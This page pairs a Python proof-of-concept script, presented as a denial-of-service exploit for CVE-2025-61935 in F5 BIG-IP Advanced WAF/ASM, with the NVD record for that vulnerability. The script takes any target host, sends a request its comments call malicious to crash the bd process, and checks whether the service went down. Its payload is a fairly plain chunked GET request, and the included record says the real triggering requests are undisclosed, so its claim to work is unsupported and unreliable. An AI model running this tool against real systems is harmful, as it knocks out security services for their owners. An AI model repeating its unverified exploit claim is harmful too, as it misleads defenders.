CVE-2025-61935

#!/usr/bin/env python3 # CVE-2025-61935 - F5 BIG-IP Advanced WAF/ASM DoS PoC # This PoC sends crafted HTTP requests to trigger bd process termination # on F5 BIG-IP virtual servers with WAF/ASM policy configured. import socket import ssl import sys import argparse import time def send_malicious_request(target_host, target_port, use_ssl=True, path="/"): """ Send a specially crafted HTTP request to trigger the bd process crash. The request contains patterns that exploit the vulnerability in the WAF/ASM policy processing logic. """ # Crafted request with unusual headers and encoding patterns # designed to trigger the bd process termination vulnerability payload = ( f"GET {path} HTTP/1.1\r\n" f"Host: {target_host}\r\n" f"User-Agent: Mozilla/5.0\r\n" f"Accept: */*\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Transfer-Encoding: chunked\r\n" f"X-Forwarded-For: 127.0.0.1\r\n" f"Content-Encoding: gzip\r\n" f"Connection: keep-alive\r\n" f"\r\n" f"0\r\n" f"\r\n" ) try: if use_ssl: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = socket.create_connection((target_host, target_port), timeout=10) sock = context.wrap_socket(sock, server_hostname=target_host) else: sock = socket.create_connection((target_host, target_port), timeout=10) sock.sendall(payload.encode()) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"[ERROR] Connection failed: {e}") return None def check_service(target_host, target_port, use_ssl=True): """Check if the BIG-IP service is still responding.""" try: if use_ssl: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = socket.create_connection((target_host, target_port), timeout=5) sock = context.wrap_socket(sock, server_hostname=target_host) else: sock = socket.create_connection((target_host, target_port), timeout=5) sock.sendall(b"GET / HTTP/1.1\r\nHost: " + target_host.encode() + b"\r\n\r\n") response = sock.recv(1024) sock.close() return True except Exception: return False def main(): parser = argparse.ArgumentParser(description="CVE-2025-61935 PoC - F5 BIG-IP WAF/ASM DoS") parser.add_argument("-t", "--target", required=True, help="Target BIG-IP host") parser.add_argument("-p", "--port", type=int, default=443, help="Target port (default: 443)") parser.add_argument("--no-ssl", action="store_true", help="Disable SSL") parser.add_argument("--path", default="/", help="Request path") args = parser.parse_args() print(f"[*] Target: {args.target}:{args.port}") print(f"[*] Checking service availability before attack...") if check_service(args.target, args.port, not args.no_ssl): print("[+] Service is responding.") else: print("[-] Service is not responding or unreachable.") sys.exit(1) print(f"[*] Sending malicious request to trigger bd process termination...") response = send_malicious_request(args.target, args.port, not args.no_ssl, args.path) if response: print(f"[+] Response received: {response[:100]}") else: print("[*] No response received (possible crash).") time.sleep(2) print(f"[*] Checking service availability after attack...") if check_service(args.target, args.port, not args.no_ssl): print("[+] Service still responding.") else: print("[!] Service is DOWN - bd process may have terminated!") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-61935", "sourceIdentifier": "[email protected]", "published": "2025-10-15T16:15:35.763", "lastModified": "2025-10-21T12:12:43.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When a BIG IP Advanced WAF or ASM security policy is configured on a virtual server, undisclosed requests can cause the bd process to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-252"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "8CDAF78A-6C2B-4640-93DD-524A0D9D80CE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.3", "matchCriteriaId": "0B24E3BE-8A62-4819-B63C-01EE10E6160F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:17.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "03D43E1A-B542-4C95-ABEF-1DFE82D55513"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "2450DC77-B46C-4886-AC9A-CF78B1EC4F06"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.3", "matchCriteriaId": "BF0F0A9D-1B7E-4271-B309-64399AC7DD89"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:17.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "3F78E5C4-6687-4C78-88FA-0F6BD878859E"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000154664", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}